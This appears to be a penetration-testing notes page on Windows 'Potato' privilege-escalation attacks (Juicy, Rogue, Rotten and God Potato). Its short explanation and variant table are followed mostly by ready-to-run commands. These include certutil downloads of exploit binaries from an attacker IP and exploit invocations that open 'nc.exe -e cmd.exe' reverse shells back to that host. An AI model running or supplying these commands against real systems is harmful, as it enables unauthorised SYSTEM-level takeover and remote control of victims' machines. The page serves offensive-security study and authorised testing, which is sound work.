> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/potato-attack.md). # Potato Attack "Potato" attacks are a family of **local privilege escalation** techniques in Windows systems that abuse misconfigurations or features in Windows services such as **DCOM**, **RPC**, or **token impersonation**. These techniques are particularly effective on systems where the **SeImpersonatePrivilege** is enabled for a low-privileged user account. *** ### Prerequisite: Token Impersonation Check Before running any Potato exploit, ensure the user has impersonation privileges: ```cmd whoami /priv ``` Check for: ``` SeImpersonatePrivilege Impersonate a client after authentication Enabled ``` If this is not enabled, most Potato attacks **will not work**. *** ### 🥔 Types of Potato Attacks | Potato Variant | Description | | ------------------ | ----------------------------------------------------------------------------------------------- | | **Hot Potato** | Exploits NBNS poisoning + token impersonation. Deprecated due to patching. | | **Rotten Potato** | Early method using DCOM and token stealing. Mostly patched. | | **Juicy Potato** | Uses COM services and token impersonation (Still works in many 2016/2019 systems). | | **Rogue Potato** | Exploits DCOM misconfiguration via Rogue Server (works on systems patched for Juicy Potato). | | **Sweet Potato** | Combination of Juicy + Rogue using EventLog abuse. Bypasses Windows Defender on some systems. | | **Generic Potato** | Platform combining many potato variants with detection logic. | | **Lonely Potato** | Headless variant that can be used in specific isolated environments. | | God Potato | Exploits RPC-SS service token impersonation via DCOM; bypasses UAC on certain .NET environments | *** ### Juicy Potato * **Repo:** * **Download:** #### Transfer Executable ```cmd certutil.exe -split -urlcache -f http://192.168.1.19/JuicyPotato.exe JuicyPotato.exe ``` #### Run Exploit ```cmd JuicyPotato.exe -l 443 -p c:\windows\system32\cmd.exe -a "/c C:\inetpub\wwwroot\nc.exe -e cmd.exe 192.168.1.19 445" -t * ``` *** ### Rogue Potato * **Repo:** * **Binary:** #### Transfer Executable ```cmd certutil.exe -split -urlcache -f http://192.168.1.19/RoguePotato.exe RoguePotato.exe ``` #### Run Exploit ```cmd RoguePotato.exe -r 192.168.1.25 -e "c:\windows\system32\cmd.exe" -l 9999 ``` **With CLSID and Custom Pipe** ```cmd RoguePotato.exe -r 192.168.1.31 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode ``` *** ### Rotten Potato (MSFRottenPotato) * **Repo:** * **Binary Path:** `RottenPotatoEXE/x64/Release/MSFRottenPotato.exe` #### Transfer Executable ```cmd certutil.exe -split -urlcache -f http://192.168.1.19/MSFRottenPotato.exe MSFRottenPotato.exe ``` #### Run Exploit ```cmd MSFRottenPotato.exe t C:\Windows\System32\cmd.exe ``` *** ### **God Potato** * **Repo:** [GodPotato GitHub](https://github.com/BeichenDream/GodPotato) #### 🔹 Executables Provided: * `GodPotato-NET2.exe` * `GodPotato-NET35.exe` * `GodPotato-NET4.exe` Choose the version based on installed .NET frameworks on the target system. #### Usage: ```cmd GodPotato -cmd "cmd /c whoami" ``` ```bash GodPotato-NET2.exe -cmd "cmd /c whoami" ``` ```bash GodPotato-NET35.exe -cmd "cmd /c whoami" ``` ```bash GodPotato-NET4.exe -cmd "cmd /c whoami" ``` Can be replaced with a full reverse shell or a payload launcher: ```cmd GodPotato-NET4.exe -cmd "C:\inetpub\wwwroot\nc.exe -e cmd.exe 192.168.1.19 4444" ``` *** ### 🔗 References * [Potatoes for Windows Privilege Escalation – JLajara](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) * [Juicy Potato GitHub](https://github.com/ohpe/juicy-potato) * [RoguePotato GitHub](https://github.com/antonioCoco/RoguePotato) * [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) * [GodPotato](https://github.com/BeichenDream/GodPotato) * [Priv2Admin](https://github.com/gtworek/Priv2Admin)